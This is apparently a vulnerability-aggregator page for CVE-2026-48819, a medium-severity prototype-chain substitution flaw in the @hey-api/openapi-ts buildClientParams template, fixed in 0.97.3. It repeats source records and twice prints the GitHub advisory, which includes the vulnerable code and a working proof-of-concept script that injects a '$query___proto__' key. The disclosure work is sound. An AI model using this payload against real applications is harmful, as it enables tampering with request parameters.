CVE-2026-48819
Hey API: `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params["query"]["proto"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.8
Hey API: `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params["query"]["proto"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.
- Record
CVE-2026-48819- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
EUVDEUVD-2026-45267
4.8
Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params["query"]["proto"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.
- Record
EUVD-2026-45267- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-hhx9-57xq-r5rw
4.8
@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Summary
dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.
Details
The vulnerable branch in dist/clients/core/params.ts:
const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
const [prefix, slot] = extra
;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}
This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).
Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.
Concrete field config that hey-api generates for a GET endpoint with one query param q:
// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])
A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.
PoC
npm install @hey-api/[email protected]
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc
poc.ts:
import { buildClientParams } from "./params.ts";
// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];
// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
[{ q: "hello", "$query___proto__": { isAdmin: true } }],
generatedFields
);
const q = result.query as any;
console.log(q.q); // "hello" — own property, normal
console.log(q.isAdmin); // true — inherited via prototype chain
console.log(Object.keys(q)); // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"
Expected output:
[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
Scenario: GET /search with fields [{ in:'query', key:'q' }]
Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }
result.query.q = hello
result.query.isAdmin = true ← inherited, NOT own
Object.keys(q) = [ 'q' ]
for..in keys = q, isAdmin
Object.getPrototypeOf = {"isAdmin":true}
No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots.
reproduce.zip
Impact
The returned params.query object has its prototype chain…
- Record
GHSA-hhx9-57xq-r5rw- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
NVD
4.8
Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params["query"]["proto"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.
- Record
CVE-2026-48819- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSV
4.8
Hey API: `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params["query"]["proto"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.
- Record
CVE-2026-48819- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVGHSA-hhx9-57xq-r5rw
4.8
@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Summary
dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.
Details
The vulnerable branch in dist/clients/core/params.ts:
const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
const [prefix, slot] = extra
;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}
This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).
Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.
Concrete field config that hey-api generates for a GET endpoint with one query param q:
// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])
A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.
PoC
npm install @hey-api/[email protected]
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc
poc.ts:
import { buildClientParams } from "./params.ts";
// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];
// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
[{ q: "hello", "$query___proto__": { isAdmin: true } }],
generatedFields
);
const q = result.query as any;
console.log(q.q); // "hello" — own property, normal
console.log(q.isAdmin); // true — inherited via prototype chain
console.log(Object.keys(q)); // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"
Expected output:
[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
Scenario: GET /search with fields [{ in:'query', key:'q' }]
Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }
result.query.q = hello
result.query.isAdmin = true ← inherited, NOT own
Object.keys(q) = [ 'q' ]
for..in keys = q, isAdmin
Object.getPrototypeOf = {"isAdmin":true}
No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots.
reproduce.zip
Impact
The returned params.query object has its prototype chain…
- Record
GHSA-hhx9-57xq-r5rw- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@hey-api/openapi-tsnpm |
before 0.97.3 | 0.97.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-48819 is a medium vulnerability (CVSS 4.8) in Hey-api Openapi-ts, published July 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in @hey-api/openapi-ts 0.97.3.
References
github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw
github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f
github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169
github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3
github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw
github.com/advisories/GHSA-hhx9-57xq-r5rw
github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48819.json
nvd.nist.gov/vuln/detail/CVE-2026-48819
github.com/hey-api/openapi-ts
Left out here: the rest of 2 source descriptions. The JSON record has them.